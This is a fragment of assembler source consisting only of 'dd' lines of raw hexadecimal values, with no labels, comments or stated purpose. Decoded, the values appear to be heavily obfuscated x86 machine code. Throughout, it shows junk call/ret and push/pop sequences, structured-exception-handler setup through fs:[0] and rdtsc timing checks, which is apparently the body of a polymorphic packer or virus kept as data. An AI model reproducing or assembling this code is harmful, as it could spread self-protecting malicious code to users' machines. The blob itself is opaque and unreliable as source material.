182393C3h, 95FFD156h dd 61F2DE1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0BFC35545h, 0B2558589h, 6A0622h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 9447E5C3h dd 1EFE99Ah, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0D9BB0CC3h, 6612946Fh, 66DCE2BBh dd 8BF52FBFh, 22B24D85h, 0DE8B6606h, 1800C7h, 9D8B0000h dd 61F1D9Dh, 8E9h, 8BA33E00h, 131D3680h, 51B58BD8h, 6A0622B2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 577C355h, 35E90BA1h, 1D61C655h, 23C58D09h dd 858B061Fh, 61F13A1h, 10E8h, 234F3500h, 0FCF83AB4h, 0A598767Dh dd 274E452Ah, 899D3323h, 5F061F16h, 12E90689h, 0EF000000h dd 8EB6121Dh, 0BB4F2E9h, 5C10C412h, 0C7F99717h, 6A82BB26h dd 858B2AE2h, 61F0DC1h, 2FDBD0Bh, 0BD8B061Fh, 61F07E1h dd 6A044689h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 7749C350h, 8F2C32F7h, 0DB15E349h dd 9DE1BB66h, 128A0F50h, 60000000h, 0D943EAB8h, 6E933h dd 6D000000h, 3599186Ch, 24348961h, 0BD09FA8Bh, 61F123Dh dd 0B24DB5FFh, 830F0622h, 6, 18D1BD33h, 0DE8061Fh, 51000000h dd 0A028D711h, 705737D8h, 0AD54394Ch, 20B9BD33h, 685B061Fh dd 54912C94h, 0C953BB66h, 6B243481h, 6A548E2Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0EB32C352h, 0D47B91CBh, 893A5081h, 1F021185h, 55858D06h dd 6A0622B2h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 41C4C353h, 50F8553Fh, 0E400BB57h dd 895B237Eh, 9D8B2404h, 61F116Dh, 2DE195FFh, 6A061Fh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0D38015C3h, 0BE9F4h, 2D4B0000h, 554117Ch, 6997C7E0h dd 6A610Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 85C7B4C3h, 61F137Dh, 3, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 89C35141h, 0BDDC0C76h, 8BBFB08Fh dd 1F1EADBDh, 55BD8306h, 622B2h, 3C840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0BF10BDC3h, 83C38178h, 0E97C0370h, 2Dh, 14F19D8Bh, 8B0F061Fh dd 6, 1F35BD8Bh, 3050061Fh, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 0F19D8BC0h, 0F061F2Bh, 0C85h dd 6820F00h, 0F000000h, 82h, 7DBD8300h, 3061F13h, 3EE850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0F5DB5DC3h, 570E5AC9h, 55BD83F1h, 622B2h dd 3BE840Fh, 0DB800000h, 0E5DF8163h, 0FF4F22EEh, 22B255B5h dd 0F850F06h, 0E9000000h, 0Ah, 683C47FDh, 7D9AB686h, 95FF07F4h dd 61F1BC9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0D7C35343h, 5E5E00CCh, 68A0FACh, 8B000000h, 1F2BB9BDh dd 49B58B06h, 6A0622B2h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0BB54C357h, 8211E256h, 8D319557h, 61F18FDh dd 106C7h, 0BD890001h, 61F1C45h, 0BF525050h, 4D3B9929h dd 13E9310Fh, 0ED000000h, 4AB636FBh, 93EC647Ch, 64654D2Fh dd 83694337h, 585AA613h, 6A243489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0C20BC352h dd 71BD8B80h, 0FF061F0Ch, 22B255B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 9D8B5ADDh dd 61F1045h, 162195FFh, 0FE9061Fh, 63000000h, 0E5E399FEh dd 0E774666Bh, 746AAD0Fh, 0B58B238Bh, 622B249h, 8E9h, 8D873500h dd 0D6F655E5h, 0F1858BC6h, 89061F2Fh, 1F05E59Dh, 0C4868906h dd 0F000000h, 958BD9BFh, 61F0B5Dh, 0BC9BD8Bh, 0C283061Fh dd 20508904h, 0DB19D8Bh, 858D061Fh, 622C797h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 1FC35747h, 894D0CDDh dd 0B886h, 15B50100h, 6A061F0Dh, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 9E8E8h, 404E0000h dd 5FB6C5A8h, 34793E4h, 1F1BE99Dh, 0B5FF5F06h, 622B255h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 45C35343h dd 0FF7A5BCBh, 1F2F5595h, 0F3E38006h, 6E952h, 0C36D0000h dd 181FE24Ch, 0F88A965Fh, 48C0F50h, 66000000h, 96F286BBh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 8BC35545h dd 0D8F9EEADh, 880FCC26h, 1, 55B5FFF9h, 890622B2h, 1F247DBDh dd 1D95FF06h, 6A061F0Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0E86AC355h, 12h, 9452A3B7h dd 42DEBE67h, 16779207h, 59D852DFh, 0F60119Ch, 6160C8BFh dd 0BD835F61h, 61F2C0Dh, 1D840F00h, 0E9000000h, 9, 1901D176h dd 0F14D03A2h, 0BF515042h, 290FB6FEh, 2434895Fh, 3BA1BB66h dd 0B255B5FFh, 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8B4948C3h, 1F1465BDh, 0CB816606h dd 95FF30FBh, 61F1349h, 174DBD8Bh, 0B5FF061Fh, 622B255h dd 2A659D8Bh, 95FF061Fh, 61F1075h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 18C35040h, 1BBD501Ah, 66D1C1DFh dd 0BD83F88Bh, 61F0009h, 5D840F02h, 0E8000000h, 5, 0FA97C200h dd 3D8D898Fh, 5B061F2Dh, 1751858Bh, 0BF66061Fh, 0C6E67Ch dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 622B7811h, 14E945h, 7E6A0000h, 5C97A40Ch dd 64E0ACh, 0C3AD1E86h, 56F7FB0Ch, 0BD897D46h, 61F0EF9h dd 129185C7h, 61Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0EA6D9EC3h, 0B43E8A83h dd 0B589C757h, 61F12D9h, 0FFF30DE9h, 79B589FFh, 8B061F07h dd 0FD9529C1h, 8D061F0Ah, 1F19BD85h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BF66A456h dd 90FCFE06h, 50D98B66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 60006A01h, 8B66D68Bh dd 6A61F3h, 95316060h, 61F010Dh, 12158D8Bh, 0F961061Fh dd 2D858D61h, 6A0623ADh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0E92AC355h, 54BC72F6h dd 5D98D29h, 0C083061Fh, 85958905h, 50061F2Dh, 0E820Fh dd 5E80000h, 0B7000000h, 4BC4ABBCh, 5FFB8B66h, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0FF38C351h, 68A0F08h, 81000000h, 9C2978EBh dd 6A006A73h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 7BCC355h, 0BE9h, 76595200h, 446A5D5Ch dd 3F8EF4FEh, 9D8B006Ah, 61F18F9h, 16195FFh, 0DB80061Fh dd 0F28D8D75h, 6A0622B1h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0D14AC356h, 0DD77FF8Dh dd 40004E14h, 0E99D8Bh, 0CB81061Fh, 321DA33Bh, 6AD1FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 83BFF8C3h, 1F0EF5BDh, 850F0106h, 3Dh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 0B8C35646h, 7EE41C77h dd 89026AF8h, 1F1BD595h, 0BF665006h, 489629Ch, 899D0B24h dd 0FF061F0Ch, 1F2F5595h, 0DB7E906h, 0E80000h, 5D000000h dd 0AD37ED81h, 6A0623h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 60DCE1C3h, 45BD89A5h, 0E9061F1Bh dd 9, 731728D4h, 8651973Fh, 0E4858D1Dh, 6A06228Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 25C8C355h, 0E08C30A8h, 8BAC2504h, 1F2401BDh, 90509006h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 91C35242h dd 0FF0CC27h, 8Dh, 35FF6400h, 0 dd 1571BD8Bh, 8964061Fh, 25h, 0DE900h, 82150000h, 747AC333h dd 639A741Bh, 0FF07E16Eh, 1F102985h, 77A3BF06h, 0FF6A1831h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 70C35747h dd 24F6438Eh, 0DACCB176h, 71BD0B62h, 0FF061F15h, 1F0D29B5h dd 0DF8B6606h, 1CED95FFh, 40E9061Fh, 0E8000001h, 10h, 0C6E14BDh dd 7C686234h, 0C4DA0602h, 490B4118h, 2C119589h, 0B05F061Fh dd 38E0F00h, 80000000h, 70E6BCC3h, 2DB59D0Bh, 9D89061Fh dd 61F1909h, 9D2371E4h, 61F0165h, 830F613Ch, 0FBh, 81C8B60Fh dd 10E83ADFh, 6BA59h, 11E90000h, 0D6000000h, 0A513D8BCh dd 672B9BF3h, 0F00E3DDFh, 840162CFh, 0B351C18Bh, 0E8C15F98h dd 9958904h, 66061F16h, 0BD29E2F7h, 61F0B75h, 0CE9C82Bh dd 5B000000h, 0F7B3E846h, 678CC5FEh, 8B66A126h, 0F19D33D1h dd 0E9061F0Fh, 13h, 1830Fh, 0FF80000h, 68Ch, 3D9D8B00h dd 8B061F30h, 1F119D85h, 4A10BF06h, 0C08312E8h, 0C08307h dd 2830Fh, 5CB70000h, 830FD03Bh, 25h, 6E8h, 738C7100h dd 8989F182h, 1F005D85h, 54E95B06h, 0E9000000h, 9, 0BA7F7122h dd 88535E4Fh, 0C18D8BF3h, 8B061F1Eh, 1E183DEh, 35840Fh dd 0BD2B0000h, 61F124Dh, 1EC1A583h, 0E9FE061Fh, 0Ch, 6816164Ch dd 5E6D8AD0h, 0C325C561h, 119D9589h, 860F061Fh, 6, 1099BD8Bh dd 0E9061Fh, 8D000000h, 231682B5h, 6840F06h, 9000000h dd 1F2019B5h, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0BE1BC352h, 0C7BF66AAh dd 35858935h, 0FF061F24h, 1F1D4595h, 0E19D3306h, 89061F1Bh dd 1F1F11B5h, 8A2B906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 59B5E3C3h, 0DBB70F57h dd 0FFCE183h, 9589DABFh, 61F2BE1h, 0B8FD8AFCh, 0 dd 0DB80FC60h, 0D22B61EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0B6C35242h, 0B70F5D46h, 0C233ADDEh, 0D003E8D1h dd 7504E983h, 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 8C13F18Ch, 2E2BD4F5h, 6AFA8B66h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 22B8C355h, 511591DDh, 4982DBF4h, 6840Fh dd 0D3810000h, 183E4FC8h, 880Dh, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 9DBFDB2Fh dd 0B7DAB70Fh, 5D958BF3h, 6A061F0Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2CAEC355h dd 8D8B52B7h, 61F20C5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0C4C35040h, 0BD0B1BAEh, 61F1B85h, 2D899D89h dd 8B50061Fh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 8D89FB8Bh, 61F0085h, 78DBD83h, 0F00061Fh, 5B84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 2043209Bh, 0B85Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 1E4BDC3h, 1F149D9Dh dd 0B08D8D06h, 66061F4Dh, 3B2CD781h, 0CB81E1FFh, 2C37E8A0h dd 137DBD83h, 0F00061Fh, 3D584h, 5E800h, 0DE480000h, 661A5E24h dd 5F133DBBh, 137DBD83h, 0F01061Fh, 3D484h, 5BD8B00h, 83061F2Ch dd 1F137DBDh, 860F0306h, 38Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 23C35646h, 6E8h, 1CF71100h dd 66F48C64h, 5435F781h, 6A605Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0D01088C3h, 6729C7C2h dd 8C66463Dh, 6880FD9h, 29000000h, 1F1579BDh, 4E18006h dd 65E38166h, 0FC90AAFh, 0E584h, 14E900h, 5C8B0000h, 5ECB640h dd 0A89B5208h, 7BE7F0D6h, 0B21FFC52h, 4ABBC7B2h, 8B52743Ah dd 1F0DC185h, 0CD9D8B06h, 33061F1Bh, 1F2EC985h, 0EB816606h dd 50905205h, 0BE8h, 0A167800h, 95B005A4h, 0F37003Bh, 6A905Fh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0CB7383C3h, 33006A99h, 1F30C5BDh, 4D716806h, 0BB5053BFh dd 8586628h, 2434815Bh, 53A04E8Eh, 1F8D9531h, 95FF061Fh dd 61F2DE1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0DFC35040h, 168A0F85h, 60000000h, 9E9h, 0BAFA8800h dd 54F06D3Ch, 0B529D56Ah, 61F1241h, 55858961h, 8B0622B2h dd 1F13919Dh, 191E906h, 8F0F0000h, 6, 30D19589h, 858B061Fh dd 622B24Dh, 7F19589h, 0C7061Fh, 18h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 53C35343h, 0F585298Fh, 8B061F31h dd 22B251B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0E62566BAh, 9E12C0Ch, 1F123DBDh dd 810F06h, 8B000000h, 1F13A185h, 0CD9D8906h, 89061F1Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0C1858BB8h, 31061F0Dh, 1F30FD9Dh, 4468906h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 63C35141h dd 0E986E823h, 10h, 817C3DD5h, 7D143A28h, 0C083A89Eh, 0F8307459h dd 50F98B96h, 8996F98Bh, 1F3049BDh, 4DB5FF06h, 6A0622B2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0A732C355h, 68254204h, 61A1D47h, 4258BB66h dd 0B8243481h, 6A06051Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0B918C353h, 959D8BB9h dd 8D061F2Dh, 22B25585h, 0F9950106h, 0F8061F0Ch, 0BF665050h dd 895FEA90h, 9D8B2404h, 61F23A9h, 2DE195FFh, 6A061Fh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 547F0BC3h, 273C141Bh, 6100B4F1h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 71C35646h, 790F133Ah, 66D1555Eh dd 3A31D381h, 137D85C7h, 3061Fh, 9D8B0000h, 61F3031h, 0B255BD83h dd 0F000622h, 6A84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 8E909DCAh, 583DBA3h, 71DBD89h dd 57E9061Fh, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 57D6C351h, 3B1CFC89h dd 12BB5329h, 0E91B6452h, 0Fh, 8987715Ah, 0E6C6404Ch, 3FB4462Fh dd 5062056Eh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 5BDD3CC3h, 0BFF5E084h, 1B6B283Ch dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0ACC35141h dd 425ECD6h, 83CDEB80h, 1F137DBDh, 850F0306h, 479h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6DC35545h, 68E0Fh dd 0BD8B0000h, 61F0D7Dh, 0B255BD83h, 0F000622h, 44484h dd 0FBBF0F00h, 0B255B5FFh, 9D8B0622h, 61F1071h, 1BC995FFh dd 0BF66061Fh, 0B58B2323h, 622B249h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0D6C35747h, 0E9EAD87Dh, 5 dd 7A8F87C7h, 0D98B6698h, 106C7h, 6A0001h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 902B56C3h dd 9D8B5B57h, 61F06A1h, 428BB50h, 348935EFh, 13E924h, 74D90000h dd 21F1AAB0h, 731CB4EDh, 3C6BEB92h, 7328C0ACh, 55B5FFDEh dd 6A0622B2h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 81EAC352h, 4170028Eh, 0BB664833h dd 95FF367Ch, 61F1621h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 89C35545h, 66644E70h, 660F7EBFh, 0F207EBFh dd 687h, 0B5B52900h, 8B061F09h, 22B249B5h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 9589FFD4h, 61F07A9h, 44BF6651h, 95895FB2h, 61F32B9h dd 2FF1858Bh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0BC62C0C3h, 334CB660h, 1F11F595h dd 86896106h, 0C4h, 8BDE8B66h, 1F0B5D95h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 4C2833Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 1CC35545h, 0C7859AEEh, 8AD66222h, 0FFC381B3h, 89022197h dd 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 9B7B9EC3h, 0C780C4D3h, 97858D97h dd 660622C7h, 8689FB8Bh, 0B8h, 311D9D8Bh, 0BD8B061Fh, 61F00E1h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 353A2BC3h, 83B08358h, 9D8B0388h, 61F0829h dd 0B255B5FFh, 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 5FB784C3h, 11C59D8Bh, 95FF061Fh dd 61F2F55h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 0DAC35040h, 0F595621Bh, 2379F363h, 1F14919Dh, 0BB525006h dd 656C4E4Eh, 2434895Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 43C35242h, 0D15BD8Bh, 0B5FF061Fh, 622B255h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4AC35545h dd 208B0360h, 0E387BBD3h, 0CE9h, 0D4693A00h, 0B0DFC42Fh dd 0FC7236EFh, 1D95FF3Fh, 2B061F0Eh, 1F0B919Dh, 0DBD8306h dd 61F2Ch, 82840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 4A16B8C3h, 841483DCh dd 0E980C20Bh, 12h, 9B87E3F3h, 4148A94Fh, 8896A85Bh, 71FAD9DCh dd 0E850EC27h, 8, 0E7EF8767h, 1AD67280h, 47915FBFh, 34895B56h dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 8FBC7BF9h, 346C0959h, 14C59D01h, 6651061Fh dd 5B0B1BBFh, 0B255B5FFh, 0F8520622h, 4995FF5Fh, 81061F13h dd 0DDC8B3DFh, 55B5FF23h, 0B30622B2h, 7595FFE5h, 0E9061F10h dd 10h, 0F878F846h, 369F09AAh, 323DFB22h, 6455036Ah, 9BD83h dd 0F02061Fh, 6F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 4AE5E0B3h, 0DE9h, 42957100h dd 5510F34Ch, 0F0807573h, 858BF1E1h, 61F1751h, 12E9h, 0D42F6400h dd 0C60F3AC5h, 0BD6084DBh, 41575E6Bh, 0C65138C8h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0F819C7C3h, 129185C7h, 61Fh, 8B660000h, 0F37CE9D8h dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 4DB4DCC3h, 9ECF808Ch, 12E9h, 1A051600h, 5E6F3F3Bh dd 70E8AF3h, 0C013852Eh, 8B6D3FC9h, 53006AC1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 2960BB05h dd 1F1931B5h, 8EA8106h, 6143552Fh, 0A9DF8166h, 0BD858D9Dh dd 6A061F19h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 1A28C353h, 0BF669C00h, 0BF906305h dd 356F6F2Bh, 9E950h, 9E3E0000h, 650E182Bh, 900F16E7h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 45C35242h dd 0A2361FA0h, 6AC78Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 51C35646h, 72D0DB81h, 0BB66227Fh, 6A7971h dd 0BD1D858Dh, 0BD230623h, 61F1D29h, 0E905C083h, 10h, 72BA388Bh dd 0B1546DB8h, 0F064D042h, 0C480EC5h, 0FB8B6650h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 8DB6C355h, 0F356EA1Eh, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A00B72C3h dd 29A75965h, 1F1BED95h, 66006A06h, 0FF4FD5BBh, 1F016195h dd 19953106h, 8D061F20h, 22B1F28Dh, 0FFFE8B06h, 53006AD1h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0D6B7A28h, 0FB1039D0h, 3F881CBh, 1F1FDD9Dh, 0F5BD8306h dd 1061F0Eh, 0DF850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0BA388BC3h, 546DB872h dd 8BD042B1h, 1F16F99Dh, 4D9D0B06h, 6A061F02h, 57006A02h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 8A229FD5h, 0CBDF347h, 9E959ADh, 4D000000h, 238199BCh dd 0D9838F86h, 13D9BD8Bh, 6090061Fh, 310F5250h, 7E9h, 0D3B71D00h dd 5D3EC5E0h, 6060585Ah, 50616161h, 8E8h, 0EFAB400h, 0C5163D37h dd 5FDA8B54h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 89BAA491h, 1F238DB5h, 13E906h, 0F3AD0000h dd 0DD566C03h, 5F6A46BDh, 0ABC65F88h, 0BBDD5CF6h, 5595FF39h dd 29061F2Fh, 1F06FD85h, 0EB0E906h, 0E80000h, 5D000000h dd 0BD27ED81h, 0B5310623h, 61F1159h, 0A3D8D89h, 6A061Fh dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8DC9B6C3h, 228EE485h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0D07E66C5h, 56FECC0h dd 12E969h, 0FA320000h, 19BAD91Ch, 5E288535h, 1DC5C9F6h dd 793F7520h, 6860Fh, 0BD8B0000h, 61F3295h, 0DCE2BB50h dd 4892996h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 5FF2C2FDh, 0DA336B00h, 0D88B66EFh dd 0BE9h, 5C03A300h, 0A81E9B98h, 85261303h, 35FF64h, 23000000h dd 1F0EF9BDh, 25896406h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DBC35747h dd 0CBF04AD2h, 102985FFh, 9D8B061Fh, 61F108Dh, 6AFF6Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0D8CB24C3h, 0F98B66F8h, 0B5FFB1B3h, 61F1545h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 15C35545h, 28B3EB1Ah dd 53CEF88Ch, 1CED95FFh, 2FE9061Fh, 0E8000001h, 14h, 3DD11A7Bh dd 0B78D9900h, 850DDEC3h, 0CC6A15B0h, 396BD6A5h, 7E9h dd 77F0C600h, 3A957964h, 0F00B05Fh, 38Dh, 0F8B70F00h, 0BF0F70E6h dd 8B71E4FFh, 0F613CDAh, 0ED83h, 0B9666000h, 0F28145D8h dd 1D95ACF2h, 0C8B60F61h, 0FE9h, 21CCA600h, 1F69C782h dd 8F8BE019h, 0EF42B6BEh, 6BAh, 69BD8B00h, 8B061F15h, 119D89C1h dd 0C1061F2Dh, 820F04E8h, 16h, 11E9h, 9582EF00h, 62774E95h dd 95B10D9h, 0E3A3A8Eh, 0F766A277h, 0FEBF0FE2h, 0C82B98B3h dd 66D18BF9h, 0E979BDBBh, 82h, 8BFEB70Fh, 885h, 83FA8B00h dd 0F98B07C0h, 8900C083h, 1F080D8Dh, 0FD03B06h, 2383h dd 0A19D2900h, 0E9061F19h, 56h, 12890Fh, 0DE90000h, 79000000h dd 5B4EF101h, 611F01DFh, 0F8DE134h, 0FFFF8D8Bh, 6E8FFFFh dd 0CC000000h, 8F289C1Ah, 0FBB70F75h, 1E1835Fh, 20840Fh dd 0B5890000h, 61F1D41h, 0FFFFA583h, 8BFEFFFFh, 89589FBh dd 2B000000h, 1F00859Dh, 0E906h, 0B58D0000h, 6233E80h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 47C35646h dd 1CCB8092h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 9DE722C3h, 0E7816660h, 0FE9FF6Fh dd 3F000000h, 0F4EC9734h, 0F071AD74h, 1C9B6688h, 0FF6141A8h dd 1F1D4595h, 0BE906h, 0A9410000h, 0F2F09B3Ah, 0B5EF4595h dd 0F2AB9CDh, 85890000h, 61F1BD5h, 6AFCE183h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0FC1CC355h, 129D9D8Bh, 0C02B061Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0B5C35545h, 70EC3325h, 89F0AE0Bh dd 1F0FF59Dh, 0CE906h, 0B3540000h, 49AFF823h, 0F963DB43h dd 0BABC7Bh, 0BF000000h, 832F62Ah, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 12E8h, 946FD500h, 0E6616122h, 2B12D040h dd 462BEC3Ch, 89A9E1B8h, 1F2D1985h, 81605F06h, 92790FD3h dd 81BD8B47h, 61061F18h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 1DC35040h, 53185641h, 880D1182h, 89000000h dd 1F1051B5h, 5D958B06h, 81061F0Bh, 9DA407D7h, 0C58D8B58h dd 6A061F20h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0E8D1C357h, 0E836E594h, 18BE99C3h dd 8B508BB7h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 1EE18D31h, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0FB966C3h, 0BD8B5D4Fh, 61F0D91h dd 78DBD83h, 0F00061Fh, 3484h, 